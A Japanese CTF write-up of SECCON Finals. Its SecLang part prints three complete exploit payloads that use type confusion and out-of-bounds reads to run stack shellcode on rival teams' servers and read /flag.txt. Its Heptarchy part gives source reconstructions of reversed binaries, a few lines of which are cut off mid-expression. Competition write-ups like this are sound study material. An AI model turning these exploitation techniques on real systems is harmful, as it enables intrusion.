最後、微妙にサーバー上のアドレスオフセットをguessする動作が必要になったが、基本的にはそのまま解ける

rta1.py · GitHub

❌5317.45 seconds

感想

本当に体力の消費がやばい。

スコアボードにフラグを登録するときに誰もいなかったときは気持ちがいい。(配信用にDiscordの隔離部屋につないでいるのだが)競争相手が隔離部屋からいなくなると焦りがやばい。

あと普通によくわからないバグが起きたとき(例えば上の自分のテンプレートに謎バグがあったときなど)、割とある種のパニックみたいになる。普段なら腰を据えて、さあコーヒーでも飲んでデバッグするか、となるところが、それを許されない状況なので。

なかなか過酷なイベントだが、振り返ってみると走者としては楽しかったです。運営おつかれさまでした & ありがとうございました。

*1:pwnyaaさんが教えてくれた: https://twitter.com/pwnyaa/status/1638084052107563008

SECCON Finals WriteUp (SecLang, Heptarchy)

KoH + Jeopardyという問題構成。KoHは3問あり、1日目に1問、2日目に2問出題された。1日目の問題はpwn色の強い問題、2日目はrevとcrypto(?)っぽい問題。 KoHには昼間の間取り組むことが可能であり、Jeopardyは2日間共通だったため家で取り組むことができた。

なおTSGのメンバーとしてinternationalの方に参加させてもらったものの順位は... *1

KoH SecLang (Pwn)

概要

Pythonで書かれた独自言語のコンパイラが与えられる。

競技者は次の2つのことをすることが可能 1. コンパイラにパッチを当てバグを修正する。 2. 他チームのコンパイラのunsound holeを攻撃する。

5分に1回、コンパイラが正しく動作しているかのテストが走り点数が加算される他、他人のコンパイラでRCEに成功してフラグが盗めた場合、点数を得ることができる。

また、他人のコンパイラの攻撃に対するfeedbackとして、コンパイル結果のアセンブリが得られる。これによって、他のチームのコンパイラにどういうmitigationが入っているのかをある程度推察することができる(これに基づいて、チームごとにカスタムした攻撃プログラムを書くことができる)。

コンパイラの実装

言語としては何likeなといえばいいかわからないが、強いて言えば言語仕様はPythonに近い。Pythonのコードを与えられてコンパイルしてx86_64 asmにする(バグりまくりの *2コンパイラが与えられたといえばだいたい正しい。 プログラム例としては、配布されたサンプルとしてフィボナッチ数を計算するプログラムは次のようになる。

func fib(n) {
  if n <= 0 { return 0; }
  if n == 1 { return 1; }
  if n == 2 { return 1; }
  return fib(n-1) + fib(n-2);
}

func main() {
  print("n = ");
  n = scan();
  if n > 20 {
    print("n is too big!\n");
    exit(1);
  }
  print("fib(");
  print(n);
  print(") = ");
  print(fib(n));
  print("\n");
}

コンパイラがやっていることは、

  1. parseしてASTを得る
  2. ASTを歩いて、各exprから対応するアセンブリを生成する

であってとても単純。

例えば、x + 4 という式に対しては、x4アセンブリを生成し、結果がstack上に配置(値と型タグのpair)されているので、それらをpopし、add(sub)した結果をpushする。

    def add_expr(self, tree):
        """Add/Sub operator
        x+y, x-y
        """
        if len(tree.children) == 1:
            self.visit(tree.children[0])
        else:
            self.visit(tree.children[0])
            op = tree.children[1]
            self.visit(tree.children[2])
            self.code.pop_value('rdx', 'rbx')
            self.code.pop_value('rax')
            if op == '+':
                self.code.text(["add rax, rdx"])
            elif op == '-':
                self.code.text(["sub rax, rdx"])
            else:
                raise CompileError("Unreachable")
            self.code.push_value('rax', 'rbx')

コンパイラのバグ

このコンパイラには色々なバグが含まれている

type confusion

func one() {
  return 1;
}
func main() {
  print(one + 0);
}

関数と整数を足し算すると、その結果を整数として手に入れることができる。

func main() {
  x = 1;
  x();
}

逆に、整数を関数として使うことができることも

配列外参照

func main() {
  x = [1, 3];
  x[10000] = 1;
}

セグフォ

配列の "UAF"

call stackの上の方で配列を作って返すと、UAF的に

func f() {
  x = [1; 3];
  return x;
}
func main() {
  x = f();
  print(x[0]);
}

これはセグフォ

引数の数

func f() {
return 5;
}
func main() {
  x = 1;
  x = f(2, 3, 4);
  print(x);
}

これは5を返す。

などなどのバグが有り、これらを利用して、サーバー上の/flag.txtを得ることを目指す。*3

writeup

このバイナリでは、stackがrwxなので、シェルコードをここにおいて実行すれば良いことがわかる。シェルコードは単にopen -> read -> writeをするものを作れば良い。 基本方針は、配列を用いてこのガジェットをstack上に配置し、type confusionを用いて、このstack上のポインタを"呼び出す"。

payload 1

チームによってmitigationが異なったので、微妙にpayloadを変えている。まず、ほとんどのチームに刺さるのが

func toi(x) {
    ar = [x; 1];
    dum = [1; 1];
    return dum[6];
}
func tof(x) {
    ar = [x; 1];
    dum = [toi; 1];
    return dum[6];
}
func main() {
    fibtxt = [0xdead; 1];
    fibtxt[0] = 0x78742e67616c662f;
    fibtxt[1] = 116;
    fib_addr = toi(fibtxt) + 16;
    uouo = [0xdead; 20];
    wai = [toi; 1];

uouo[0] = 5188146770776999752;
uouo[1] = 5257443800445648011;
uouo[2] = 5244311233511805489;
uouo[3] = 14359727686748784327;
uouo[4] = 13891150740484800706;
uouo[5] = 14359732973853474816;
uouo[6] = 14323496304712352199;
uouo[7] = 4666511275965022208;
uouo[8] = 493437115695104;
uouo[9] = 4377717949940563968;
uouo[10] = 219658720378880;
uouo[11] = 84869120;
uouo_addr = toi(uouo) + 16;
wai[0] = uouo_addr;
f = tof(wai[0]);
f(fib_addr);
}

というpayload。これは、配列外参照を用いてtype confusionを起こしている。 ちなみに、一度waiという配列に入れてから取り出しているのは、関数呼び出し時の型チェックを回避するため(これは比較的実装しやすい)。 効いていたかはあんまちゃんと調べてないからわからない。

また「fib」とかいているのは、実は「flag」の意味で、悪い人間がflagという文字列を書いたら落とすようにしてたりしそうだと思ったので置換した。

payload 2

上の例では配列外参照を用いているが、実はこれはパッチしやすい。実際Dice Gang、Super Guessrは早々にこれに気づいてパッチしていた模様(悔しい)。 とはいえ、この2チームは 「整数 + 配列」のtype confusionには対処していなかったので、これを用いてtoi/tofを実装すると、攻撃できた

func toi(x) {
    return x + 0;
}
func main() {
    fibtxt = [0xdead; 5];
    fibtxt[0] = 0x78742e67616c662f;
    fibtxt[1] = 116;
    fib_addr = fibtxt + 16;
    uouo = [0xdead; 20];
    peko = [toi; 1];

uouo[0] = 5188146770776999752;
uouo[1] = 5257443800445648011;
uouo[2] = 5244311233511805489;
uouo[3] = 14359727686748784327;
uouo[4] = 13891150740484800706;
uouo[5] = 14359732973853474816;
uouo[6] = 14323496304712352199;
uouo[7] = 4666511275965022208;
uouo[8] = 493437115695104;
uouo[9] = 4377717949940563968;
uouo[10] = 219658720378880;
uouo[11] = 84869120;
uouo_addr = uouo + 16;
peko[0] = uouo_addr;
f = peko[0];
f(fib_addr);
}

足し算でのtype confusionを用いて配列外参照なしで、exploitしている。

payload 3

これはhxp専用。なんでかしらんけど(忘れた)、type checkしている?っぽいし、配列外参照も気にしている?っぽい?よく分からん。なんかでもこれでpwnできた。一番目だとpwnできない(はず)。

func toi(x) {
    ar = [x; 1];
    dum = [1; 1];
    return dum[6];
}
func tof(x) {
    ar = [x; 1];
    dum = [toi; 1];
    return dum[6];
}
func main() {
    fibtxt = [0xdead; 5];
    fibtxt[0] = 0x78742e67616c662f;
    fibtxt[1] = 116;
    fib_addr = toi(fibtxt) + 16;
    uouo = [0xdead; 20];
    peko = [toi; 1];

uouo[0] = 5188146770776999752;
uouo[1] = 5257443800445648011;
uouo[2] = 5244311233511805489;
uouo[3] = 14359727686748784327;
uouo[4] = 13891150740484800706;
uouo[5] = 14359732973853474816;
uouo[6] = 14323496304712352199;
uouo[7] = 4666511275965022208;
uouo[8] = 493437115695104;
uouo[9] = 4377717949940563968;
uouo[10] = 219658720378880;
uouo[11] = 84869120;
uouo_addr = toi(uouo) + 16;
peko[0] = uouo_addr;
f = tof(peko[0]);
f(fib_addr);
}

perfect blue

最後(最後の1h?)、かなり真面目なパッチを当ててきて、pwnできなかった(というかまだunsound holeがあるのは分かっていたが時間効率的にやっても仕方ないかと思ってやらなかった)。

何をやっていたかというと - heap領域をちゃんと確保(上述のUAFバグ回避) - 配列の各要素に型タグを追加 - 型チェックの導入

で、特にこの2番目の影響でstack上の連続した領域にシェルコードを貼る方法を雑にやるのが、直ちに分からなかったので、諦めた。 多分international teamの中で一番よくできたパッチだったと思う。

入れた mitigation

上のpwnと並行して、コンパイラのmitigationも行った。とはいってもとても簡単なもの。それでもおそらく数チームの攻撃を防いだと思われる。

  • 定数のロードが /flag.txっぽかったら落とす(カス)
  • 配列外参照しそうになったらexit
  • 関数呼び出しの際に実際にそれが関数の型を持つかを判定

程度。開始段階で、ちゃんとやるなら、上のUAF問題をなんとかしないといけないと思ったので(pbが最終的にやっていたように)開始当初にmmap領域を作って、そこからarrayをallocするようにしようとしていたが、普通に発狂して終了し(コンパイラの構造を雑に理解するのがしんどかった)、ひたすらpwnする方針に切り替えた。正直方針ミスだった(とりあえずpwnする方向で最初からやっていれば)なあとあとから思う。 *4

これ2日目があったら、1日目で圧倒的コンパイラを完成させ2日目でひたすら点数を稼ぐ(&強いコンパイラを頑張ってpwn)みたいなのができたかもしれないので、それはそれで面白かったかもしれない。

KoH Heptarchy (Rev)

1時間ごとに異なる言語で書かれたバイナリが与えられるので、それらをrev *5 して、"できる限り同じバイナリを吐くような" ソースコードを提出しろ!という趣旨の問題。スコアは、提示されたコンパイル環境下で生成されたアセンブリの提示されたバイナリとのdiffの大きさにより計測。KoHで5分に1度評価があり(つまり1バイナリにつき12回評価がある)、diffの小さい順に、1位が20点、2位が18点...。diffの取り方はなんか知らんけど賢い方法でされてるらしい。oracleとして"信じた"ので実際ここもhackできる余地があったのかも。

インラインアセンブリが埋め込めるCなどは、実はアセンブリをべたと貼り付けるといけたのかもしれないが、基本的にはC++とかRustとかDとかはインラインアセンブリがあっても、polymorphismが解決された後それに基づいてexpansionされた実装が出力されてほしいやつとかに対処ができないと思うので、C以外だとその戦略は難しそうだった(Cでもまあまあちゃんと動くようにするの面倒そうで、1時間しか無い & はやく提出しないと大した点にならないことを思うと題意通りにやるのが正解そう)。また、importの仕方や変数の宣言の仕方等も影響するので、"いい感じ"に模倣できたあとは、プログラムを摂動させて、スコアを縮めていった。

言語は全部で6(7?)種類

  • C
  • C++
  • Rust
  • Go
  • Python
  • D
  • C (emccで吐かれたwasm rev)

基本的にやったことは

  1. ほとんど無( fn main(){} のような)を提出して、とりあえずスコアを得る
  2. revをちょっとずつしていってスコアが上がるたびに提出する

というものの繰り返し。難しいのは、GoやDなどは、適切にimportしたライブラリの機械語がバイナリに含まれていないと、diffが大きすぎて(タイムアウトにより)実質的に未提出と同じになる問題。このためGoやDなどは(本当は)それっぽいimportをしてdiffを落として正の点を得られるようにしておくことが大切だったが、あまり上手にはできなかった。

実際のところ最終順位よりもどれだけ長い間、良い順位にいたかが重要だが、まあ分かりやすいので各言語についてdiffと最終順位(discordに貼られていたグラフに基づくので正直嘘かも)を表記する。

あと意外と面白かったので当該の時間帯のChromeの履歴を貼ってみようと思う。

C

  • 最終順位: 7th
  • diff: 912

初手でIDAでデコンパイルして、近づけて終わり。ゲーム性を理解し始める段階で終わってしまった。if文の順序とか、assertを適切にしたつもり *6

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <limits.h>

// (__int64 a1, __int64 a2, __int64 a3, __int64 a4)
long myers_diff(char *f1, unsigned sa, char *f2, unsigned sb) {
      assert(sa < LONG_MAX/2 && sb < LONG_MAX/2);
    long max = sa + sb;
    if ( (unsigned long long)(sa + sb) > 0x7FFFFFFFFFFFFFELL );
      assert(max < (LONG_MAX/2-1)/sizeof(ssize_t));
    char *calloc_buf = calloc(2 * max + 1, 8uLL);
    long i, j, k;
    long result = 0;
    long v12;
    for ( i = 0LL; ; ++i )
    {
        result = i;
        if ( i > max )
            break;
        for ( j = -i; j <= i; j += 2LL )
        {
            if ( j != -i && (j == i || calloc_buf[max - 1 + j] >= calloc_buf[max +)
                v12 = calloc_buf[max - 1 + j] + 1LL;
            else
                v12 = calloc_buf[max + 1 + j];
            for ( k = v12 - j; v12 < sa && k <= sb && *(char *)(v12 + f1) == *(cha)
                ++v12;
            calloc_buf[max + j] = v12;
            if ( v12 >= sa && k >= sb )
                return i;
        }
    }
    return result;
}

long int get_size(FILE *f) {
    fseek(f, 0LL, 2);
    long int v2 = ftell(f);
    fseek(f, 0LL, 0);
    return v2;
}



int main(int argc, char* argv[]) {
    FILE *f1;
    FILE *f2;
    unsigned sa;
    unsigned sb;
    char *buf1;
    char *buf2;
    if ( argc <= 2 )
    {
        printf("Usage: %s <file1> <file2>\n", *argv);
        return 1;
    }
    f1 = fopen(argv[1], "r");
    if ( !f1 )
    {
        perror(argv[1]);
        return 1;
    }

    f2 = fopen(argv[2], "r");
    if ( !f2 )
    {
        perror(argv[2]);
        fclose(f1);
        return 1;
    }
    sa = get_size(f1);
    sb = get_size(f2);
    buf1 = malloc(sa);
    if ( !buf2 )
    {
        fclose(f2);
        fclose(f1);
        return 1;
    }
    buf2 = malloc(sb);
    if ( fread(buf1, 1uLL, sa, f1) == sa && fread(buf2, 1uLL, sb, f2) == sb )
    {
        long int v4 = myers_diff(buf1, sa, buf2, sb);
        printf("%ld", v4);
    }
    free(buf2);
    free(buf1);
    fclose(f2);
    fclose(f1);
    return 0;
}

検索履歴

C++

これもとりあえずIDAにブチ込むと、当社比比較的読みやすいC++が現れたので、メソッド名等からclassが使われていることなどを類推して書いた。C++よくわからんけど、とりあえずautoって書いておけばなんか型があったので助かった。これのせいでむしろ合わなくなっているところもあったのかも。

  • 最終順位: 5th
  • diff: 3844
#include <iostream>
#include <string>
#include <iomanip>
#include <vector>

using namespace std;
class RC4 {
    vector <unsigned char> v;
    public:
    RC4(string key) {
        int i;
        int j;
        v.resize(256);
        for (i = 0; i <= 255; i ++) {
            v[i] = i;
        }
        for ( j = 0; j <= 255; ++j ) {
            auto v3 = v[j];
            auto v9 = v3 + key[j % 4];
            auto v5 = v.at(v9);
            auto v6 = v.at(j);
            swap(v5, v6);
        }

    }
    char * encrypt(string text) {
        //return new string;
        auto v2 = text.size();
        auto v8 = new char[v2];
        unsigned long long v10;
        unsigned long long v11;
        v11 = 0;
        v10 = 0;
        int i;
        for (i = 0; i < text.size(); i++ ) {
            v10 += v[++v11];
            auto v3 = v.at(v11);
            auto v4 = v.at(v10);
            swap(v4, v3);
            //char v5 = v[v11];
            //char v6 = v[v10];
            //v3  = v[(unsigned long long)(v5 + v6)];
            v8[i] = text[i] ^ v3;
        }
        return v8;
    }
};
int main(void) {
    string key;
    string text;
    char *result;
    int i;

    cout << "Key: ";
    cin >> key;
    cout << "Plaintext: ";
    cin >> text;
    auto rc4 = RC4(key);
    cout << "Ciphertext: ";
    cout << hex << std::setfill ('0');

    result = rc4.encrypt(text);

    for ( i = 0; i < text.size() ; ++i )
    {
        cout << setw(2);
        cout << result[i];
    }
    cout << endl;
    //if (result)
    delete result;
    return 0;
}

検索履歴

Rust

  • 最終順位: 5th
  • diff: 22048

普段Rust使ってる身としてはもっと上手にいけると思っていたら全然うまくいかず涙を流していた。rem_euclidという関数を初めて知りました。

use std::io;
use std::io::BufRead;
use std::io::Write;

fn get_player_hand(a1: i32) -> i8 {
    print!("Player {} Hand [Rock/Paper/Scissors]: ", a1);
    let mut buffer = String::new();
    io::stdout().flush().unwrap();
    let stdin = io::stdin();
    stdin.read_line(&mut buffer).expect("I/O error");
    let buffer = buffer.trim();
    let buffer = buffer.to_lowercase();
    if buffer == "rock" {
        0
    } else if buffer == "paper" {
        1
    } else if buffer == "scissors" {
        2
    } else {
        panic!("Invalid hand")
    }
}

fn main() {
    let hand1 = get_player_hand(1);
    let hand2 = get_player_hand(2);
    let sub = (hand2 - hand1).rem_euclid(3);
    let s =
    if sub == 0 {
        "Draw!"
    } else {
        match sub {
            1 => "Player 1 wins!",
            2 => "Player 2 wins!",
            _ => unreachable!(),
        }
        //if sub == 1 {
        //    "Player 1 wins!"
        //} else if sub == 2{
        //    "Player 2 wins!"
        //} else {
        //    panic!();
        //}
    };
    println!("{}", s);
}

検索履歴

Go

  • 最終順位: 4th
  • diff: 576

これとても悔しい。というのもfmtをimportしてprintlnするまでライブラリパートがバイナリに含まれていないことによるdiffが大きすぎるために点数が入っていなかったことに気づいておらず30分くらい経過してから初めて点が入ったので。 shrinker/expanderの復元から始めたが、明らかに先にmainを復元するべきだったし、そもそも実行するのがおそすぎてヒントがあることに気づいたのが結構後だった。 revはちゃんと実行してから解析しようね。 *7

ところでquitに渡している値がなんなのかはよく分からなかった。

package main

import ("fmt")

var (
    main_counter int
)

func shrinker(c chan int, quit chan int) {
        for {
            elem := <- c
            if elem == 1 {
                break
            }
            if elem & 1 == 0 {
                elem /= 2
                main_counter += 1
            }
            c <- elem
        }
        quit <- 0
}
func expander(c chan int, quit chan int) {
        for {
            elem := <- c
            if elem == 1 {
                break
            }
            if elem & 1 != 0 {
                elem =  3 * elem + 1
                main_counter += 1
            }
            c <- elem
        }
        quit <- 0
}

func main() {
    var a int
    fmt.Print("Number: ")
    fmt.Scan(&a)
    if a <= 0 {
        fmt.Println("Invalid number")
    } else {

         fmt.Println("[DEBUG] quit := make(chan int)")
        quit := make(chan int)
        fmt.Println("[DEBUG] c := make(chan int)")
        c := make(chan int)
        fmt.Println("[DEBUG] go shrinker(c, quit)")
        go shrinker(c, quit)
         fmt.Println("[DEBUG] go expander(c, quit)")
        go expander(c, quit)
        c <- a
        <- quit
        fmt.Println(main_counter)
    }
}

検索履歴

Python

  • 最終順位: 5th
  • diff: 392

Python 3.12とかいう新しいバージョンのPythonなので、uncompyle6をインストールした時間が無駄になる。事前にコンパイラが配布されているのでちゃんと中身を確認しておけばよかった。 decompileができないので仕方なくdisをして読む。難読化されているわけでもないのでまあ読める。

実装は基本的には、RSA暗号風の暗号化と復号をするプログラム。後から思うと range(k)のkってなんやねんとなっていたが、そこは読めていなかった(isPrimeは2引数関数だった)。

#!/usr/local/bin/python

import random

def isPrime(n=10):
    if n == 2 or n == 3:
        return True

    if n & 1 == 0:
        return False
    s = n -1
    r = 0

    while s & 1 == 0:
        s  >>= 1
        r += 1
    for _ in range(k):
        a = random.randrange(2, n - 1)
        x = pow(a, s, n)
        if x == 1:
            continue
        if n - x == 1:
            for _ in range(r - 1):
                x = x * x % n
                if n - x == 1:
                    break
            else:
                return False
    return True



def getPrime(bits):
    while True:
        p = random.randrange(1 << bits, 1 << (bits + 1))
        if isPrime(p):
            return p

if __name__ == '__main__':
    p = getPrime(256)
    q = getPrime(256)
    r = getPrime(256)
    n = p * q * r
    e = 65537
    m = int.from_bytes(input("Text: ").encode(),"big")
    if m > n:
        print("Too long")
        exit(1)
    c = pow(m, e, n)
    print(f'Cipher: {hex(c)}')

    phi = (p - 1) * (q -1) * (r  -1)
    d = pow(e, -1, phi)
    mm = pow(c, d, n)
    assert(m == mm)

検索履歴

D

  • 最終順位: 1th
  • diff: 1188

これが結果的に一番うまくいった。 開始当初は、Dとか書いたことないしできるわけなくて草と思っていたが、みんな馴れてないらしく、普通に提出が全チーム遅かった気がする。 この問題も適切にimportしないと大きなdiffが出てしまうタイプの問題だったので、importガチャに成功したのも良かったかも。

IDAで開くと結構分かりやすいバイナリだった。write -> readln -> stripをしていそうな様子や、check_passwordの結果に基づいてwritelnをしている様子がわかる。 またcheck_passwordも、シグネチャから、equalというある種のadhoc多相がなされた関数が利用されていそうな様子や、lambda式(特にこれは、closureとして一度確保したものを利用している。直接s.map!の引数に渡すとやや生成されるコードが変わる)が使われていそうな様子、各入力文字に対してxorして比較する様子などが意外と分かりやすい。

最後若干のdiffをうめたいと思ったが、謎ptrace(デバッグ検知でよくある感じのやつが)mainの先頭に置いてあり、これをどうやって出しているのかで試行錯誤して一番diffが小さいものを提出した *8

import std.stdio;
import std.string;
import std.algorithm;
import std.algorithm.comparison : equal;

extern (C) int ptrace(int x, int y, int z, int w);
extern (C) int exit(int x);


bool check_password(string arg) {
    auto s = arg.dup;
    auto f = (dchar x)  => x ^ 0x77;

    auto v4 = s.map!(f);

    auto v5 = [58, 22, 28, 18, 87, 51, 90, 27, 22, 25, 16, 87, 48, 5, 18, 22, 3, 87, 54, 1;
    return equal(v4, v5);
}


void main(){
    if (ptrace(0, 0, 1, 0)) {
        return;
    }
    write("Password: ");
    auto s=readln;
    auto v6 = strip(s);
    if (check_password(v6)) {
        writeln("Correct!");
    } else {
        writeln("Wrong...");
    }
}

検索履歴

一番検索した

C(wasm)

  • 最終順位: 6th
  • diff: 7734

これは無理すぎ?wと言って諦めた *9

諦めたと言ってもなんかそれっぽいものだけ提出した

#include <stdio.h>


static unsigned __internal_bruteforce(unsigned x, unsigned y, unsigned z) {
    if (x > y) {
        return z;
    }
    return y;
}
static unsigned bruteforce(unsigned x, unsigned y) {
    if (x > y) {
        return y;
    }
    return x;
}
static unsigned oracle(unsigned x) {
    for (int i = 0; i < x; i++) {
        return bruteforce (x, x);
    }
}

int __original_main() {
        puts("[+] Computing...");
    int r = __internal_bruteforce(1044, 1, 3);
    printf("Hit: %d\n", r);
    puts("[+] Done");
    return 0;

}

int main(void) {
    return __original_main();
}

検索履歴

CTFerじゃないからwasm2cの使い方毎回ググってる

Jeopardy

え、なんで一問も解けていないんですか?こまった。。。

babyescapeをやっていた(& diagemuをやっていた)が、Kernelオブジェクトを上手に扱うことができず最終的に大量のKernel panicを見るだけになってしまった。悲しい。

正直後から考えると色々正気じゃないパートがあり、sanity check失敗と話題に。

ログ

かわいそう。

履歴はいっぱいあるけど(面倒で全部あげないけど)最後にchatGPTに聞こうとするところだけ面白い

感想

コンテスト全体の満足度が高かった。問題はよく練られていたと思うし、ネットワークも安定しており、インフラも基本的に安定していた。 あと、昼ごはんの謎弁当がおいしかった。 このレベルのコンテストを維持するのは大変だと思うのですが、来年以降も楽しみにしています。

*1:Jeorpadyで分からせられてしまった

*2:ここでいうバグとは、memory corruptionを起こすようなプログラムを吐いてしまうというバグ

*3:他にもwhile文の中で変数を確保すると、stack pointerが適切に移動しなくなるなどのバグがあるらしい

*4:ちなみに、ガチのカスパッチとして、クソデカ定数が来たら落とすというのを実装していたら、テストケースででかい数字を扱うプログラムが有り点数を逆に失った

*5:どうでもよいが、大会後国内大会で優勝したチーム_(-.- _) )_のkeymoonさんが、「st98さんがずっとこの問題をやっていたから、Webだと思っていた」といってたのがちょっとすきだった

*6:と書いていたら、明らかに無駄なif文を見つけてしまい、お気持ちに

*7:どうでもいいが、mikitさんにgolangのバイナリ出たわ〜って離したら、「え、じゃあgoroutineとかかな!」って大声でいうから、おいおい静かにってなっていた。

*8:実は単にinline assemblyを書いているだけだったらしい

*9:隣のhxpに後で効いても無理すぎ?wつってたし多分無理すぎだと思ってるけど普通に解いている人間がちらほらおるんだよな